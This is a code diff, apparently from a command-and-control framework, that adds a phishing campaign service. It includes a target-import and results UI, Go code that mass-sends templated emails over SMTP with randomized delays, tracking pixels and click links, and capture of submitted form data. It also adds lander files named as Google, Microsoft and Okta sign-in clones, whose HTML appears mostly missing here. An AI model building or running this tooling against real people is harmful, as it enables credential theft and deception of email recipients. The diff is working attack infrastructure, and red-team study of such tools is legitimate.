tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]); + } + } + mainLayout.addWidget(tgtTable); + + dialog.setLayout(mainLayout); + + form.connect(btnImport, "clicked", function() { + let csvDialog = form.create_dialog("Import Targets (CSV)"); + csvDialog.setSize(560, 450); + + let csvLayout = form.create_vlayout(); + csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company")); + csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required.")); + let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n"); + csvLayout.addWidget(csvText); + + let orLabel = form.create_label("Or load from file:"); + csvLayout.addWidget(orLabel); + + let btnFile = form.create_button("Load CSV File"); + csvLayout.addWidget(btnFile); + + form.connect(btnFile, "clicked", function() { + let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)"); + if (path) { + let content = ax.file_read(path); + if (content) { + csvText.setText(content); + } + } + }); + + csvDialog.setLayout(csvLayout); + if (csvDialog.exec() === true) { + let csv = csvText.text(); + if (csv && csv.trim().length > 0) { + ax.service_command("Phishing", "targets_import", { + campaign_id: campaignID, + csv: csv + }); + } + } + }); + + form.connect(btnDelete, "clicked", function() { + let rows = tgtTable.selectedRows(); + if (rows.length === 0) return; + + let ids = []; + for (let i = 0; i < rows.length; i++) { + if (targets && rows[i] < targets.length) { + ids.push(targets[rows[i]].id); + } + } + + if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) { + ax.service_command("Phishing", "targets_delete", { + campaign_id: campaignID, + ids: ids + }); + } + }); + + dialog.show(); +} + +// ============================================================================ +// Results Dock +// ============================================================================ + +function createResultsDock() { + resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", ""); + + let mainLayout = form.create_vlayout(); + + // Filter bar + let filterLayout = form.create_hlayout(); + filterLayout.addWidget(form.create_label("Campaign:")); + campaignFilter = form.create_combo(); + campaignFilter.addItem("-- All --"); + filterLayout.addWidget(campaignFilter); + + let btnExport = form.create_button("Export CSV"); + let btnRefresh = form.create_button("Refresh"); + filterLayout.addWidget(form.create_hspacer()); + filterLayout.addWidget(btnExport); + filterLayout.addWidget(btnRefresh); + + let filterPanel = form.create_panel(); + filterPanel.setLayout(filterLayout); + mainLayout.addWidget(filterPanel); + + // Table + resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]); + resultsTable.setSortingEnabled(true); + resultsTable.setReadOnly(true); + mainLayout.addWidget(resultsTable); + + resultsDock.setLayout(mainLayout); + resultsDock.setSize(1000, 400); + resultsDock.show(); + + // Signals + form.connect(campaignFilter, "currentTextChanged", function(text) { + refreshResultsTable(); + }); + + form.connect(btnExport, "clicked", function() { + let cid = getSelectedCampaignID(); + if (cid) { + ax.service_command("Phishing", "results_export", {campaign_id: cid}); + } else { + ax.show_message("Export", "Please select a specific campaign to export"); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadAllResults(); + }); + + form.connect(resultsTable, "cellDoubleClicked", function(row, col) { + showResultDetail(row); + }); +} + +function updateCampaignFilter() { + if (!campaignFilter) return; + + let current = campaignFilter.currentText(); + campaignFilter.clear(); + campaignFilter.addItem("-- All --"); + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + campaignFilter.addItem(campaignsData[i].name); + } + } + + // Restore selection + for (let i = 0; i < campaignFilter.count; i++) { + if (campaignFilter.itemText && campaignFilter.itemText(i) === current) { + campaignFilter.setCurrentIndex(i); + return; + } + } +} + +function getSelectedCampaignID() { + if (!campaignFilter) return null; + let text = campaignFilter.currentText(); + if (text === "-- All --") return null; + + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].name === text) { + return campaignsData[i].id; + } + } + } + return null; +} + +function refreshResultsTable() { + if (!resultsTable) return; + resultsTable.setRowCount(0); + + let filterCampaign = getSelectedCampaignID(); + + for (let cid in allResults) { + if (filterCampaign && cid !== filterCampaign) continue; + + let campaignName = getCampaignNameByID(cid); + let results = allResults[cid]; + if (!results) continue; + + for (let i = 0; i < results.length; i++) { + let r = results[i]; + let name = (r.first_name || "") + " " + (r.last_name || ""); + let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : ""; + let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : ""; + let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : ""; + let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : ""; + + resultsTable.addItem([ + campaignName, + r.email || "", + name.trim(), + r.status || "", + sentAt, + openedAt, + clickedAt, + submitAt, + r.remote_ip || "", + r.user_agent || "" + ]); + } + } +} + +function getCampaignNameByID(id) { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + if (campaignsData[i].id === id) return campaignsData[i].name; + } + } + return id; +} + +function showResultDetail(row) { + // Collect result data from the table row for display + let campaign = resultsTable.text(row, 0); + let email = resultsTable.text(row, 1); + let name = resultsTable.text(row, 2); + let status = resultsTable.text(row, 3); + let ip = resultsTable.text(row, 8); + let ua = resultsTable.text(row, 9); + + let detail = "Campaign: " + campaign + "\n" + + "Email: " + email + "\n" + + "Name: " + name + "\n" + + "Status: " + status + "\n" + + "IP: " + ip + "\n" + + "User Agent: " + ua; + + ax.show_message("Result Detail", detail); +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (!data || !data.campaign_id) return; + + let cid = data.campaign_id; + let result = data.result; + + // Update local results cache + if (result && allResults[cid]) { + let found = false; + for (let i = 0; i < allResults[cid].length; i++) { + if (allResults[cid][i].id === result.id) { + allResults[cid][i] = result; + found = true; + break; + } + } + if (!found) { + allResults[cid].push(result); + } + } else if (result && !allResults[cid]) { + allResults[cid] = [result]; + } + + refreshResultsTable(); + + // Also refresh campaign stats + ax.service_command("Phishing", "campaign_list", {}); +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadInitialData() { + ax.service_command("Phishing", "campaign_list", {}); + ax.service_command("Phishing", "templates_list", {}); + ax.service_command("Phishing", "landers_list", {}); + loadAllResults(); +} + +function loadAllResults() { + if (campaignsData) { + for (let i = 0; i < campaignsData.length; i++) { + ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id}); + } + } +} diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml new file mode 100644 index 000000000..14a844cc4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_phishing.so" +ax_file: "ax_config.axs" +service_name: "Phishing" +service_config: "" diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod new file mode 100644 index 000000000..8c43b8f3d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_phishing + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html new file mode 100644 index 000000000..4bb1379c3 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html @@ -0,0 +1,116 @@ + + + + + +Sign In + + + + + + diff --git a/AdaptixServer/extenders/phishing_service/landers/google_login.html b/AdaptixServer/extenders/phishing_service/landers/google_login.html new file mode 100644 index 000000000..b4e911465 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/google_login.html @@ -0,0 +1,73 @@ + + + + + +Sign in - Google Accounts + + + +
+ + +

Welcome

+
+ + +
+ +
+ + +
+ + +
+ + + +
+Create account + +
+
+ + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html new file mode 100644 index 000000000..fa2a0eb87 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html @@ -0,0 +1,77 @@ + + + + + +Sign in to your account + + + +
+ + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/landers/okta_login.html b/AdaptixServer/extenders/phishing_service/landers/okta_login.html new file mode 100644 index 000000000..ef47095cf --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/okta_login.html @@ -0,0 +1,76 @@ + + + + + +Sign In + + + +
+ + + + + + +
+ + diff --git a/AdaptixServer/extenders/phishing_service/pl_campaign.go b/AdaptixServer/extenders/phishing_service/pl_campaign.go new file mode 100644 index 000000000..793147acd --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_campaign.go @@ -0,0 +1,643 @@ +package main + +import ( + "bytes" + "crypto/tls" + "encoding/json" + "fmt" + "math/rand" + "net/smtp" + "os" + "path/filepath" + "strings" + "time" +) + +// ============================================================================ +// Call Handlers +// ============================================================================ + +func (s *PhishingService) HandleCampaignCreate(operator string, args string) { + var c Campaign + if err := json.Unmarshal([]byte(args), &c); err != nil { + s.sendError(operator, "Invalid campaign data: "+err.Error()) + return + } + + c.ID = generateID() + c.Status = "draft" + c.CreatedAt = nowUnix() + c.CreatedBy = operator + + if c.RedirectURL == "" { + c.RedirectURL = "https://login.microsoftonline.com" + } + if c.SendDelay == 0 { + c.SendDelay = 3 + } + + if err := s.SaveCampaign(c); err != nil { + s.sendError(operator, "Failed to save campaign: "+err.Error()) + return + } + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignList(operator string) { + s.sendResponseClient(operator, "campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignDelete(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + s.DeleteCampaign(req.ID) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignStart(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + s.sendError(operator, "Campaign not found") + return + } + + if campaign.Status == "running" { + s.sendError(operator, "Campaign is already running") + return + } + + targets := s.LoadTargets(campaign.ID) + if len(targets) == 0 { + s.sendError(operator, "No targets for this campaign") + return + } + + campaign.Status = "running" + s.SaveCampaign(campaign) + + stopChan := make(chan struct{}) + s.mu.Lock() + s.stopChans[campaign.ID] = stopChan + s.mu.Unlock() + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + + go s.SendCampaign(operator, campaign, targets, stopChan) +} + +func (s *PhishingService) HandleCampaignStop(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + return + } + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsImport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + CSV string `json:"csv"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + existing := s.LoadTargets(req.CampaignID) + newTargets := parseCSV(req.CSV, req.CampaignID) + + combined := append(existing, newTargets...) + if err := s.SaveTargets(req.CampaignID, combined); err != nil { + s.sendError(operator, "Failed to save targets: "+err.Error()) + return + } + + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": combined, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + s.sendResponseClient(operator, "targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": targets, + }) +} + +func (s *PhishingService) HandleTargetsDelete(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + IDs []string `json:"ids"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + idSet := make(map[string]bool) + for _, id := range req.IDs { + idSet[id] = true + } + + var filtered []Target + for _, t := range targets { + if !idSet[t.ID] { + filtered = append(filtered, t) + } + } + + s.SaveTargets(req.CampaignID, filtered) + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": filtered, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleResultsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + s.sendResponseClient(operator, "results", map[string]interface{}{ + "campaign_id": req.CampaignID, + "results": results, + }) +} + +func (s *PhishingService) HandleResultsExport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + csv := resultsToCSV(results) + s.sendResponseClient(operator, "export", map[string]interface{}{ + "campaign_id": req.CampaignID, + "csv": csv, + }) +} + +func (s *PhishingService) HandleTemplatesList(operator string) { + templates := s.listFiles("templates") + s.sendResponseClient(operator, "templates", templates) +} + +func (s *PhishingService) HandleLandersList(operator string) { + landers := s.listFiles("landers") + s.sendResponseClient(operator, "landers", landers) +} + +func (s *PhishingService) HandleTemplatePreview(operator string, args string) { + var req struct { + Type string `json:"type"` // "template" or "lander" + Name string `json:"name"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid preview request") + return + } + + var html string + if req.Type == "lander" { + html = s.loadLander(req.Name) + } else { + html = s.loadTemplate(req.Name) + } + + if html == "" { + s.sendError(operator, "Template not found: "+req.Name) + return + } + + // Replace template variables with example values + replacer := strings.NewReplacer( + "{{.FirstName}}", "John", + "{{.LastName}}", "Doe", + "{{.Email}}", "john.doe@contoso.com", + "{{.Company}}", "Contoso Ltd", + "{{.Position}}", "IT Manager", + "{{.ClickURL}}", "#", + "{{.TrackingURL}}", "#", + "{{.SubmitURL}}", "#", + "{{.Custom}}", "", + ) + html = replacer.Replace(html) + + resp := map[string]interface{}{ + "preview_type": req.Type, + "name": req.Name, + "html": html, + } + s.sendResponseClient(operator, "preview", resp) +} + +// ============================================================================ +// Campaign Sending +// ============================================================================ + +func (s *PhishingService) SendCampaign(operator string, campaign Campaign, targets []Target, stopChan chan struct{}) { + templateContent := s.loadTemplate(campaign.Template) + if templateContent == "" { + s.sendError(operator, "Failed to load email template: "+campaign.Template) + campaign.Status = "draft" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + } + + results := s.LoadResults(campaign.ID) + sentIDs := make(map[string]bool) + for _, r := range results { + sentIDs[r.TargetID] = true + } + + for _, target := range targets { + select { + case <-stopChan: + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + default: + } + + if sentIDs[target.ID] { + continue + } + + trackingID := generateTrackingID() + result := Result{ + ID: trackingID, + CampaignID: campaign.ID, + TargetID: target.ID, + Email: target.Email, + FirstName: target.FirstName, + LastName: target.LastName, + Status: "sending", + } + + body := renderEmailTemplate(templateContent, campaign, target, trackingID) + + err := sendEmail(campaign, target, body) + if err != nil { + result.Status = "error" + result.Error = err.Error() + } else { + result.Status = "sent" + result.SentAt = nowUnix() + } + + results = append(results, result) + s.SaveResults(campaign.ID, results) + + s.sendEvent("email_sent", result) + + delay := campaign.SendDelay + if delay > 0 { + jitter := rand.Intn(delay/2+1) - delay/4 + time.Sleep(time.Duration(delay+jitter) * time.Second) + } + } + + campaign.Status = "completed" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +// ============================================================================ +// SMTP +// ============================================================================ + +func sendEmail(campaign Campaign, target Target, htmlBody string) error { + from := campaign.SenderEmail + to := target.Email + + headers := make(map[string]string) + headers["From"] = fmt.Sprintf("%s <%s>", campaign.SenderName, from) + headers["To"] = to + headers["Subject"] = renderSubject(campaign.Subject, target) + headers["MIME-Version"] = "1.0" + headers["Content-Type"] = "text/html; charset=UTF-8" + + var msg bytes.Buffer + for k, v := range headers { + msg.WriteString(fmt.Sprintf("%s: %s\r\n", k, v)) + } + msg.WriteString("\r\n") + msg.WriteString(htmlBody) + + addr := fmt.Sprintf("%s:%d", campaign.SmtpHost, campaign.SmtpPort) + + if campaign.SmtpTLS { + return sendEmailTLS(addr, campaign.SmtpUser, campaign.SmtpPass, from, to, msg.Bytes()) + } + + var auth smtp.Auth + if campaign.SmtpUser != "" { + auth = smtp.PlainAuth("", campaign.SmtpUser, campaign.SmtpPass, campaign.SmtpHost) + } + + return smtp.SendMail(addr, auth, from, []string{to}, msg.Bytes()) +} + +func sendEmailTLS(addr string, user string, pass string, from string, to string, msg []byte) error { + host := strings.Split(addr, ":")[0] + + tlsConfig := &tls.Config{ + ServerName: host, + } + + conn, err := tls.Dial("tcp", addr, tlsConfig) + if err != nil { + return err + } + + client, err := smtp.NewClient(conn, host) + if err != nil { + return err + } + defer client.Close() + + if user != "" { + auth := smtp.PlainAuth("", user, pass, host) + if err = client.Auth(auth); err != nil { + return err + } + } + + if err = client.Mail(from); err != nil { + return err + } + if err = client.Rcpt(to); err != nil { + return err + } + + w, err := client.Data() + if err != nil { + return err + } + w.Write(msg) + w.Close() + + return client.Quit() +} + +// ============================================================================ +// Template Rendering +// ============================================================================ + +func renderEmailTemplate(template string, campaign Campaign, target Target, trackingID string) string { + baseURL := strings.TrimRight(campaign.BaseURL, "/") + + trackingURL := fmt.Sprintf("%s/px/%s.png", baseURL, trackingID) + clickURL := fmt.Sprintf("%s/cl/%s", baseURL, trackingID) + landerURL := fmt.Sprintf("%s/lp/%s", baseURL, trackingID) + + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + "{{.Custom}}", target.Custom, + "{{.TrackingURL}}", trackingURL, + "{{.ClickURL}}", clickURL, + "{{.LanderURL}}", landerURL, + "{{.Subject}}", campaign.Subject, + "{{.SenderName}}", campaign.SenderName, + "{{.SenderEmail}}", campaign.SenderEmail, + ) + body := r.Replace(template) + + if campaign.TrackOpens && !strings.Contains(body, trackingURL) { + pixel := fmt.Sprintf(``, trackingURL) + if idx := strings.LastIndex(body, ""); idx >= 0 { + body = body[:idx] + pixel + body[idx:] + } else { + body += pixel + } + } + + return body +} + +func renderSubject(subject string, target Target) string { + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + ) + return r.Replace(subject) +} + +// ============================================================================ +// CSV Parsing +// ============================================================================ + +func parseCSV(csvData string, campaignID string) []Target { + var targets []Target + lines := strings.Split(strings.TrimSpace(csvData), "\n") + if len(lines) < 2 { + return targets + } + + header := strings.Split(strings.TrimSpace(lines[0]), ",") + colMap := make(map[string]int) + for i, h := range header { + colMap[strings.ToLower(strings.TrimSpace(h))] = i + } + + for _, line := range lines[1:] { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cols := strings.Split(line, ",") + + t := Target{ + ID: generateID(), + CampaignID: campaignID, + } + + if idx, ok := colMap["email"]; ok && idx < len(cols) { + t.Email = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["first_name"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["last_name"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["position"]; ok && idx < len(cols) { + t.Position = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["company"]; ok && idx < len(cols) { + t.Company = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["custom"]; ok && idx < len(cols) { + t.Custom = strings.TrimSpace(cols[idx]) + } + + if t.Email != "" { + targets = append(targets, t) + } + } + + return targets +} + +func resultsToCSV(results []Result) string { + var buf bytes.Buffer + buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n") + for _, r := range results { + buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n", + r.Email, r.FirstName, r.LastName, r.Status, + r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt, + r.RemoteIP, r.UserAgent, r.SubmitData, + )) + } + return buf.String() +} + +// ============================================================================ +// File Helpers +// ============================================================================ + +func (s *PhishingService) loadTemplate(name string) string { + path := filepath.Join(s.moduleDir, "templates", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) loadLander(name string) string { + path := filepath.Join(s.moduleDir, "landers", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) listFiles(subdir string) []string { + var files []string + dir := filepath.Join(s.moduleDir, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return files + } + for _, e := range entries { + if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") { + files = append(files, e.Name()) + } + } + return files +} + +// ListCampaignsWithStats returns all campaigns enriched with their stats. +func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} { + campaigns := s.ListCampaigns() + var result []map[string]interface{} + for _, c := range campaigns { + stats := s.GetCampaignStats(c.ID) + entry := map[string]interface{}{ + "id": c.ID, + "name": c.Name, + "status": c.Status, + "smtp_host": c.SmtpHost, + "smtp_port": c.SmtpPort, + "smtp_user": c.SmtpUser, + "smtp_pass": c.SmtpPass, + "smtp_tls": c.SmtpTLS, + "sender_email": c.SenderEmail, + "sender_name": c.SenderName, + "subject": c.Subject, + "template": c.Template, + "lander": c.Lander, + "track_opens": c.TrackOpens, + "track_clicks": c.TrackClicks, + "base_url": c.BaseURL, + "redirect_url": c.RedirectURL, + "send_delay": c.SendDelay, + "created_at": c.CreatedAt, + "created_by": c.CreatedBy, + "total_targets": stats.TotalTargets, + "sent": stats.Sent, + "opened": stats.Opened, + "clicked": stats.Clicked, + "submitted": stats.Submitted, + "errors": stats.Errors, + } + result = append(result, entry) + } + return result +} diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go new file mode 100644 index 000000000..9542b9377 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_data.go @@ -0,0 +1,261 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "strings" + "time" +) + +// ============================================================================ +// Data Models +// ============================================================================ + +type Campaign struct { + ID string `json:"id"` + Name string `json:"name"` + Status string `json:"status"` // draft, running, paused, completed + SmtpHost string `json:"smtp_host"` + SmtpPort int `json:"smtp_port"` + SmtpUser string `json:"smtp_user"` + SmtpPass string `json:"smtp_pass"` + SmtpTLS bool `json:"smtp_tls"` + SenderEmail string `json:"sender_email"` + SenderName string `json:"sender_name"` + Subject string `json:"subject"` + Template string `json:"template"` + Lander string `json:"lander"` + TrackOpens bool `json:"track_opens"` + TrackClicks bool `json:"track_clicks"` + BaseURL string `json:"base_url"` + RedirectURL string `json:"redirect_url"` + SendDelay int `json:"send_delay"` // seconds between emails + CreatedAt int64 `json:"created_at"` + CreatedBy string `json:"created_by"` +} + +type Target struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Position string `json:"position"` + Company string `json:"company"` + Custom string `json:"custom"` +} + +type Result struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + TargetID string `json:"target_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error + SentAt int64 `json:"sent_at"` + OpenedAt int64 `json:"opened_at"` + ClickedAt int64 `json:"clicked_at"` + SubmitAt int64 `json:"submit_at"` + UserAgent string `json:"user_agent"` + RemoteIP string `json:"remote_ip"` + SubmitData string `json:"submit_data"` + Error string `json:"error"` +} + +// ============================================================================ +// ID Generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generateTrackingID() string { + b := make([]byte, 12) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ============================================================================ +// Campaign CRUD +// ============================================================================ + +func (s *PhishingService) SaveCampaign(c Campaign) error { + data, err := json.Marshal(c) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data) +} + +func (s *PhishingService) LoadCampaign(id string) (Campaign, error) { + var c Campaign + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id) + if err != nil { + return c, err + } + err = json.Unmarshal(data, &c) + return c, err +} + +func (s *PhishingService) DeleteCampaign(id string) error { + _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id) + return nil +} + +func (s *PhishingService) ListCampaigns() []Campaign { + var campaigns []Campaign + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return campaigns + } + + for _, key := range keys { + if strings.HasPrefix(key, "campaign:") { + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + var c Campaign + if json.Unmarshal(data, &c) == nil { + campaigns = append(campaigns, c) + } + } + } + return campaigns +} + +// ============================================================================ +// Target CRUD +// ============================================================================ + +func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error { + data, err := json.Marshal(targets) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data) +} + +func (s *PhishingService) LoadTargets(campaignID string) []Target { + var targets []Target + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID) + if err != nil { + return targets + } + json.Unmarshal(data, &targets) + return targets +} + +// ============================================================================ +// Result CRUD +// ============================================================================ + +func (s *PhishingService) SaveResults(campaignID string, results []Result) error { + data, err := json.Marshal(results) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data) +} + +func (s *PhishingService) LoadResults(campaignID string) []Result { + var results []Result + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID) + if err != nil { + return results + } + json.Unmarshal(data, &results) + return results +} + +// LoadResultByTrackingID searches all campaign results for a specific tracking ID. +func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return nil, "" + } + + for _, key := range keys { + if !strings.HasPrefix(key, "results:") { + continue + } + campaignID := strings.TrimPrefix(key, "results:") + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == trackingID { + return &results[i], campaignID + } + } + } + return nil, "" +} + +// UpdateResult updates a specific result within its campaign's results. +func (s *PhishingService) UpdateResult(campaignID string, result *Result) error { + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == result.ID { + results[i] = *result + return s.SaveResults(campaignID, results) + } + } + return fmt.Errorf("result not found") +} + +// ============================================================================ +// Campaign Stats +// ============================================================================ + +type CampaignStats struct { + TotalTargets int `json:"total_targets"` + Sent int `json:"sent"` + Opened int `json:"opened"` + Clicked int `json:"clicked"` + Submitted int `json:"submitted"` + Errors int `json:"errors"` +} + +func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats { + results := s.LoadResults(campaignID) + targets := s.LoadTargets(campaignID) + stats := CampaignStats{ + TotalTargets: len(targets), + } + for _, r := range results { + switch r.Status { + case "error": + stats.Errors++ + case "submitted": + stats.Submitted++ + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "clicked": + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "opened": + stats.Opened++ + stats.Sent++ + case "sent": + stats.Sent++ + } + } + return stats +} + +// ============================================================================ +// Helpers +// ============================================================================ + +func nowUnix() int64 { + return time.Now().Unix() +} diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go 